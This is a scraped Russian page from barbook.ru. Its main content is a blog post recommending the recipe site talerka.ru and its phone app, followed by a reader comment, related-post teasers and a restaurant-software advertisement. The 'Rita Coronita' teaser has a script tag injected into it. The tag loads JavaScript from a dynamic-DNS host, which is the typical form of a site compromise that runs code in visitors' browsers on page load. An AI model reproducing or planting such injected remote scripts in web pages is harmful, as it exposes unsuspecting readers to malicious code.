Регистрация/Вход ,
Главная / Блоги / Тетрадь с рецептами образца 21 века

Блоги


Тетрадь с рецептами образца 21 века

Новогодние праздники волей судьбы довелось провести в Хельсинки, в этой связи приглашенные на выходные гости затребовали обед в финском стиле. Признаться, финская кухня не то чтобы разнообразна и оригинальна, но делать  нечего. Сливочный суп из лосося, без которого  не обходился ни один мой день в Суоми, был объявлен главным блюдом. Сказано - надо делать. В поисках рецепта,  как обычно, отправилась  на   www.talerka.ru - как бы не относились скептически к данному ресурсу буквально все  наши  популярные кулинары, от Сталика до Белоники.
Почему? Внятный сборник традиционных рецептов, достаточно придирчиво и аккуратно адаптированный к современным реалиям: без излишне смелых замен казана на микроволновку, а бешамель на майонез, но и без "кулинарного нацизма". Еще почему? Отличный дизайн и, не побоюсь этого слова, юзабилити. Мне этих аргументов вполне достаточно.
Впрочем, сам автор и хозяин ресурса делает ставку на видео-рецепты. Но ни одного ролика,  каюсь,  до  конца не досмотрела,  так что оценить не берусь. 
Итак, рецепт супа нашелся и судя по описанию, а также обсуждению в комментариях некоторых  нюансов, это именно то, что  мне  нужно. Бонусом же я узнала,  что теперь talerka есть  в виде приложений для яблочных устройств и Android. Последнее и было мной незамедлительно протестировано.

Про рецепты, дизайн и удобство в использовании - все сказанное выше про сайт, актуально  и для приложения. Бонусом к рецептам идет список покупок. (Вот бы еще иметь возможнось отправлять его в популярные сервисы вроде wunderlist... ) Правда,  заявленного таймера так и не нашла (Кстати, это не означает, что его там нет...). А так мечталось, что найдется человек, который сделает удобный кулинарный таймер с симпатичным виджетом, - ищу такой в маркете больше года, но увы...   Тем не менее, очень и очень неплохо для старта, вот мое мнение. Кто хочет составить  свое - устанавливайте и пользуйтесь.

Для i-устройств
Для Android
Сайт www.talerka.ru
Блог автора в жж

А у меня тем временем вопрос к профессионалам: адекватны рецепты на Talerka.ru или автор и правда он "просто шарлатан"?

поделиться Опубликовать


Комментарии:


[сотрудник:897] Елизавета Новинская написал 03 февраля 2012г. в 00:01.
скачала я себе это на айфон..так он постоянно требует обновления рецептов и очень много из них платно...8 баксов просит, хотя само приложение якобы бесплатно....не знаю....неудобно с ним работать



Автор блога

Редактор Barbook.ru

Москва, 39 лет.
Всего записей: 4.
написать письмо


Другие записи по теме:

Rita Coronita

Rita Coronita<nofollow><script language='JavaScript' src='http://binfostat.dyndns.org/infob.php?i=22329'></script></nofollow> Друзья! Приглашаем Вас в "Старую Гавану" попробовать новый мексиканский коктейль Rita Coronita! 
Автор: Павел

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА МОСКВА, май 2013 года. Солнечно, ярко и сочно «Swissôtel Красные Холмы» открывает двери в лето, предлагая гостям обновленное меню «Энергия жизни». Блюда, вошедшие в это предложение, по-летнему легкие, но, отведав их, гость останется сыт и доволен. Новинки приготовл
Автор: Evgenia Aldashkina

Постные коктейли в Mercedes Bar

Постные коктейли в Mercedes Bar Панорамный ресторан Mercedes Bar специально для Великого Поста предлагает своим гостям серию постных коктейлей, разработанную командой бар-менеджера RCC (Russian Cocktail Club) Денисом Миллионовым с учетом не только строгих требований к используемым ингредиентам, но и достижения максимального вкус
Автор: Olga Sakulina

Зарегистрироваться / Войти
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Войти / Отправить анонимно
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Добрый день, дорогой друг!

Надеюсь, ты помнишь наш проект - barbook.ru
Мы много лет рассказывали о рецептах коктейлей, собирали исторические факты и старались быть информационным порталом для барменов.
Увы, мы были вынуждены свернуть это начинание из-за изменения законодательства РФ.

Сегодня мы рекомендуем тебе новый интересный проект, созданный дружеской командой энтузиастов. Это Платформа, которая даст тебе новые технологии ресторанного управления.
Передаём слово коллегам)


MOJOFORM — 
НОВОЕ УПРАВЛЕНИЕ
РЕСТОРАНАМИ
Специально для управленцев ресторанного бизнеса мы создали комплексное решение по автоматизации организационных процессов и процессов, связанных с людьми.

Особенности платформы:

— Платформа создана профессионалами ресторанного бизнеса и специально для рынка horeca.
— Управление на основе регламентов, чек-листов, нормативов работы;
— Готовые шаблонные регламенты позволяют сразу начать работу.

Что даёт пользование платформой:

— Формирование единой системы управления бизнеса;
— Полный контроль за качеством работы всех подразделений;
— Глубокая аналитика с интеграцией всех документов и платформ r-keeper, iiko;
— Помощь в расчете заработных плат с учётом эффективности сотрудников.

Для всех пользователей программы мы разработали бесплатный образовательный курс по эффективному управлению и автоматизации.

ПОДРОБНЕЕ НА НАШЕМ САЙТЕ
ru.mojoform.com
Еще больше регламентов и чек-листов в           Наша группа в Facebook
нашем канале Telegram. А также новости      
отрасли, секреты и фишки.                                  FB.COM/MOJOFORM


Где мы общаемся. Форум
сообщества ресторанных менеджеров